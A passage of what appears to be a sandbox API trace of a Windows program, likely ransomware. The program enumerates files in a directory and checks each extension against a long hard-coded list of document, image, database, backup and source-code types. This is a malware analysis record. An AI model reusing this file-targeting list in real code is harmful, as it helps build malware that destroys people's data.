ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0099.070] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0099.071] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0099.071] FindClose (in: hFindFile=0x3e50240 | out: hFindFile=0x3e50240) returned 1 [0099.071] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0099.071] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0099.071] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0099.071] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041") returned 26 [0099.071] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50840 [0099.546] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.547] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0099.547] lstrlenW (lpString="eula.rtf") returned 8 [0099.547] lstrlenW (lpString=".1cd") returned 4 [0099.547] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0099.547] lstrlenW (lpString=".3ds") returned 4 [0099.547] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0099.547] lstrlenW (lpString=".3fr") returned 4 [0099.547] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0099.547] lstrlenW (lpString=".3g2") returned 4 [0099.547] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0099.547] lstrlenW (lpString=".3gp") returned 4 [0099.547] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0099.547] lstrlenW (lpString=".7z") returned 3 [0099.547] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0099.547] lstrlenW (lpString=".accda") returned 6 [0099.547] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0099.547] lstrlenW (lpString=".accdb") returned 6 [0099.547] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0099.547] lstrlenW (lpString=".accdc") returned 6 [0099.547] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0099.547] lstrlenW (lpString=".accde") returned 6 [0099.547] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0099.547] lstrlenW (lpString=".accdt") returned 6 [0099.547] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0099.547] lstrlenW (lpString=".accdw") returned 6 [0099.547] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0099.547] lstrlenW (lpString=".adb") returned 4 [0099.547] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0099.547] lstrlenW (lpString=".adp") returned 4 [0099.547] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0099.548] lstrlenW (lpString=".ai") returned 3 [0099.548] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0099.548] lstrlenW (lpString=".ai3") returned 4 [0099.548] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0099.548] lstrlenW (lpString=".ai4") returned 4 [0099.548] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0099.548] lstrlenW (lpString=".ai5") returned 4 [0099.548] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0099.548] lstrlenW (lpString=".ai6") returned 4 [0099.548] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0099.548] lstrlenW (lpString=".ai7") returned 4 [0099.548] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0099.548] lstrlenW (lpString=".ai8") returned 4 [0099.548] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0099.548] lstrlenW (lpString=".anim") returned 5 [0099.548] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0099.548] lstrlenW (lpString=".arw") returned 4 [0099.548] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0099.548] lstrlenW (lpString=".as") returned 3 [0099.548] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0099.548] lstrlenW (lpString=".asa") returned 4 [0099.548] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0099.548] lstrlenW (lpString=".asc") returned 4 [0099.548] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0099.548] lstrlenW (lpString=".ascx") returned 5 [0099.548] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0099.548] lstrlenW (lpString=".asm") returned 4 [0099.548] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0099.548] lstrlenW (lpString=".asmx") returned 5 [0099.548] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0099.548] lstrlenW (lpString=".asp") returned 4 [0099.548] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0099.548] lstrlenW (lpString=".aspx") returned 5 [0099.549] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0099.549] lstrlenW (lpString=".asr") returned 4 [0099.549] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0099.549] lstrlenW (lpString=".asx") returned 4 [0099.549] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0099.549] lstrlenW (lpString=".avi") returned 4 [0099.549] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0099.549] lstrlenW (lpString=".avs") returned 4 [0099.549] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0099.549] lstrlenW (lpString=".backup") returned 7 [0099.549] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0099.549] lstrlenW (lpString=".bak") returned 4 [0099.549] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0099.549] lstrlenW (lpString=".bay") returned 4 [0099.549] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0099.549] lstrlenW (lpString=".bd") returned 3 [0099.549] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0099.549] lstrlenW (lpString=".bin") returned 4 [0099.549] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0099.549] lstrlenW (lpString=".bmp") returned 4 [0099.549] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0099.549] lstrlenW (lpString=".bz2") returned 4 [0099.549] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0099.549] lstrlenW (lpString=".c") returned 2 [0099.549] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0099.549] lstrlenW (lpString=".cdr") returned 4 [0099.549] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0099.549] lstrlenW (lpString=".cer") returned 4 [0099.549] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0099.549] lstrlenW (lpString=".cf") returned 3 [0099.549] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0099.549] lstrlenW (lpString=".cfc") returned 4 [0099.549] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0099.549] lstrlenW (lpString=".cfm") returned 4 [0099.549] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0099.550] lstrlenW (lpString=".cfml") returned 5 [0099.550] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0099.550] lstrlenW (lpString=".cfu") returned 4 [0099.550] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0099.550] lstrlenW (lpString=".chm") returned 4 [0099.550] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0099.550] lstrlenW (lpString=".cin") returned 4 [0099.550] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0099.550] lstrlenW (lpString=".class") returned 6 [0099.550] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0099.550] lstrlenW (lpString=".clx") returned 4 [0099.550] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0099.550] lstrlenW (lpString=".config") returned 7 [0099.550] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0099.550] lstrlenW (lpString=".cpp") returned 4 [0099.550] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0099.550] lstrlenW (lpString=".cr2") returned 4 [0099.550] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0099.550] lstrlenW (lpString=".crt") returned 4 [0099.550] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0099.550] lstrlenW (lpString=".crw") returned 4 [0099.550] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0099.550] lstrlenW (lpString=".cs") returned 3 [0099.550] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0099.550] lstrlenW (lpString=".css") returned 4 [0099.550] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0099.550] lstrlenW (lpString=".csv") returned 4 [0099.550] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0099.550] lstrlenW (lpString=".cub") returned 4 [0099.550] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0099.550] lstrlenW (lpString=".dae") returned 4 [0099.550] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0099.550] lstrlenW (lpString=".dat") returned 4 [0099.550] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0099.550] lstrlenW (lpString=".db") returned 3 [0099.551] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0099.551] lstrlenW (lpString=".dbf") returned 4 [0099.551] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0099.551] lstrlenW (lpString=".dbx") returned 4 [0099.551] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0099.551] lstrlenW (lpString=".dc3") returned 4 [0099.551] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0099.551] lstrlenW (lpString=".dcm") returned 4 [0099.551] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0099.551] lstrlenW (lpString=".dcr") returned 4 [0099.551] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0099.551] lstrlenW (lpString=".der") returned 4 [0099.551] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0099.551] lstrlenW (lpString=".dib") returned 4 [0099.551] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0099.551] lstrlenW (lpString=".dic") returned 4 [0099.551] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0099.551] lstrlenW (lpString=".dif") returned 4 [0099.551] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0099.551] lstrlenW (lpString=".divx") returned 5 [0099.551] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0099.551] lstrlenW (lpString=".djvu") returned 5 [0099.551] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0099.551] lstrlenW (lpString=".dng") returned 4 [0099.551] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0099.551] lstrlenW (lpString=".doc") returned 4 [0099.551] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0099.551] lstrlenW (lpString=".docm") returned 5 [0099.551] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0099.551] lstrlenW (lpString=".docx") returned 5 [0099.551] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0099.551] lstrlenW (lpString=".dot") returned 4 [0099.551] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0099.551] lstrlenW (lpString=".dotm") returned 5 [0099.552] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0099.552] lstrlenW (lpString=".dotx") returned 5 [0099.552] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0099.552] lstrlenW (lpString=".dpx") returned 4 [0099.552] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0099.552] lstrlenW (lpString=".dqy") returned 4 [0099.552] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0099.552] lstrlenW (lpString=".dsn") returned 4 [0099.552] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0099.552] lstrlenW (lpString=".dt") returned 3 [0099.552] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0099.552] lstrlenW (lpString=".dtd") returned 4 [0099.552] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0099.552] lstrlenW (lpString=".dwg") returned 4 [0099.552] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0099.552] lstrlenW (lpString=".dwt") returned 4 [0099.552] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0099.552] lstrlenW (lpString=".dx") returned 3 [0099.552] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0099.552] lstrlenW (lpString=".dxf") returned 4 [0099.552] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0099.552] lstrlenW (lpString=".edml") returned 5 [0099.552] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0099.552] lstrlenW (lpString=".efd") returned 4 [0099.552] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0099.552] lstrlenW (lpString=".elf") returned 4 [0099.552] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0099.552] lstrlenW (lpString=".emf") returned 4 [0099.552] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0099.552] lstrlenW (lpString=".emz") returned 4 [0099.552] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0099.552] lstrlenW (lpString=".epf") returned 4 [0099.552] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0099.552] lstrlenW (lpString=".eps") returned 4 [0099.552] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0099.553] lstrlenW (lpString=".epsf") returned 5 [0099.553] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0099.553] lstrlenW (lpString=".epsp") returned 5 [0099.553] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0099.553] lstrlenW (lpString=".erf") returned 4 [0099.553] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0099.553] lstrlenW (lpString=".exr") returned 4 [0099.553] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0099.553] lstrlenW (lpString=".f4v") returned 4 [0099.553] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0099.553] lstrlenW (lpString=".fido") returned 5 [0099.553] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0099.553] lstrlenW (lpString=".flm") returned 4 [0099.553] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0099.553] lstrlenW (lpString=".flv") returned 4 [0099.553] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0099.553] lstrlenW (lpString=".frm") returned 4 [0099.553] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0099.553] lstrlenW (lpString=".fxg") returned 4 [0099.553] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0099.553] lstrlenW (lpString=".geo") returned 4 [0099.553] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0099.553] lstrlenW (lpString=".gif") returned 4 [0099.553] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0099.553] lstrlenW (lpString=".grs") returned 4 [0099.553] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0099.553] lstrlenW (lpString=".gz") returned 3 [0099.553] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0099.553] lstrlenW (lpString=".h") returned 2 [0099.553] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0099.553] lstrlenW (lpString=".hdr") returned 4 [0099.553] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0099.553] lstrlenW (lpString=".hpp") returned 4 [0099.553] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0099.553] lstrlenW (lpString=".hta") returned 4 [0099.554] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0099.554] lstrlenW (lpString=".htc") returned 4 [0099.554] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0099.554] lstrlenW (lpString=".htm") returned 4 [0099.554] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0099.554] lstrlenW (lpString=".html") returned 5 [0099.554] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0099.554] lstrlenW (lpString=".icb") returned 4 [0099.554] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0099.554] lstrlenW (lpString=".ics") returned 4 [0099.554] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0099.554] lstrlenW (lpString=".iff") returned 4 [0099.554] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0099.554] lstrlenW (lpString=".inc") returned 4 [0099.554] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0099.554] lstrlenW (lpString=".indd") returned 5 [0099.554] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0099.554] lstrlenW (lpString=".ini") returned 4 [0099.554] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0099.554] lstrlenW (lpString=".iqy") returned 4 [0099.554] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0099.554] lstrlenW (lpString=".j2c") returned 4 [0099.554] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0099.554] lstrlenW (lpString=".j2k") returned 4 [0099.554] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0099.554] lstrlenW (lpString=".java") returned 5 [0099.554] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0099.554] lstrlenW (lpString=".jp2") returned 4 [0099.554] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0099.554] lstrlenW (lpString=".jpc") returned 4 [0099.554] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0099.554] lstrlenW (lpString=".jpe") returned 4 [0099.554] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0099.554] lstrlenW (lpString=".jpeg") returned 5 [0099.554] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0099.554] lstrlenW (lpString=".jpf") returned 4 [0099.555] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0099.555] lstrlenW (lpString=".jpg") returned 4 [0099.555] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0099.555] lstrlenW (lpString=".jpx") returned 4 [0099.555] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0099.555] lstrlenW (lpString=".js") returned 3 [0099.555] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0099.555] lstrlenW (lpString=".jsf") returned 4 [0099.555] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0099.555] lstrlenW (lpString=".json") returned 5 [0099.555] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0099.555] lstrlenW (lpString=".jsp") returned 4 [0099.555] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0099.555] lstrlenW (lpString=".kdc") returned 4 [0099.555] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0099.555] lstrlenW (lpString=".kmz") returned 4 [0099.555] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0099.555] lstrlenW (lpString=".kwm") returned 4 [0099.555] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0099.555] lstrlenW (lpString=".lasso") returned 6 [0099.555] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0099.555] lstrlenW (lpString=".lbi") returned 4 [0099.555] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0099.555] lstrlenW (lpString=".lgf") returned 4 [0099.555] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0099.555] lstrlenW (lpString=".lgp") returned 4 [0099.555] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0099.555] lstrlenW (lpString=".log") returned 4 [0099.555] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0099.555] lstrlenW (lpString=".m1v") returned 4 [0099.555] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0099.555] lstrlenW (lpString=".m4a") returned 4 [0099.555] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0099.555] lstrlenW (lpString=".m4v") returned 4 [0099.556] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0099.556] lstrlenW (lpString=".max") returned 4 [0099.556] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0099.556] lstrlenW (lpString=".md") returned 3 [0099.556] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0099.556] lstrlenW (lpString=".mda") returned 4 [0099.556] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0099.556] lstrlenW (lpString=".mdb") returned 4 [0099.556] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0099.556] lstrlenW (lpString=".mde") returned 4 [0099.556] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0099.556] lstrlenW (lpString=".mdf") returned 4 [0099.556] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0099.556] lstrlenW (lpString=".mdw") returned 4 [0099.556] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0099.556] lstrlenW (lpString=".mef") returned 4 [0099.556] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0099.556] lstrlenW (lpString=".mft") returned 4 [0099.556] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0099.556] lstrlenW (lpString=".mfw") returned 4 [0099.556] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0099.556] lstrlenW (lpString=".mht") returned 4 [0099.556] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0099.556] lstrlenW (lpString=".mhtml") returned 6 [0099.556] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0099.556] lstrlenW (lpString=".mka") returned 4 [0099.556] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0099.557] lstrlenW (lpString=".mkidx") returned 6 [0099.557] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0099.557] lstrlenW (lpString=".mkv") returned 4 [0099.557] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0099.557] lstrlenW (lpString=".mos") returned 4 [0099.557] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0099.557] lstrlenW (lpString=".mov") returned 4 [0099.557] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0099.557] lstrlenW (lpString=".mp3") returned 4 [0099.557] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0099.557] lstrlenW (lpString=".mp4") returned 4 [0099.557] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0099.557] lstrlenW (lpString=".mpeg") returned 5 [0099.557] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0099.557] lstrlenW (lpString=".mpg") returned 4 [0099.557] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0099.557] lstrlenW (lpString=".mpv") returned 4 [0099.557] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0099.557] lstrlenW (lpString=".mrw") returned 4 [0099.557] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0099.557] lstrlenW (lpString=".msg") returned 4 [0099.557] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0099.557] lstrlenW (lpString=".mxl") returned 4 [0099.557] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0099.557] lstrlenW (lpString=".myd") returned 4 [0099.557] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0099.557] lstrlenW (lpString=".myi") returned 4 [0099.557] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0099.557] lstrlenW (lpString=".nef") returned 4 [0099.557] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0099.557] lstrlenW (lpString=".nrw") returned 4 [0099.557] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0099.557] lstrlenW (lpString=".obj") returned 4 [0099.557] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0099.558] lstrlenW (lpString=".odb") returned 4 [0099.558] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0099.558] lstrlenW (lpString=".odc") returned 4 [0099.558] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0099.558] lstrlenW (lpString=".odm") returned 4 [0099.558] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0099.558] lstrlenW (lpString=".odp") returned 4 [0099.558] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0099.558] lstrlenW (lpString=".ods") returned 4 [0099.558] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0099.558] lstrlenW (lpString=".oft") returned 4 [0099.558] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0099.558] lstrlenW (lpString=".one") returned 4 [0099.558] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0099.558] lstrlenW (lpString=".onepkg") returned 7 [0099.558] lstrcmpiW (lpString1=".onepkg", 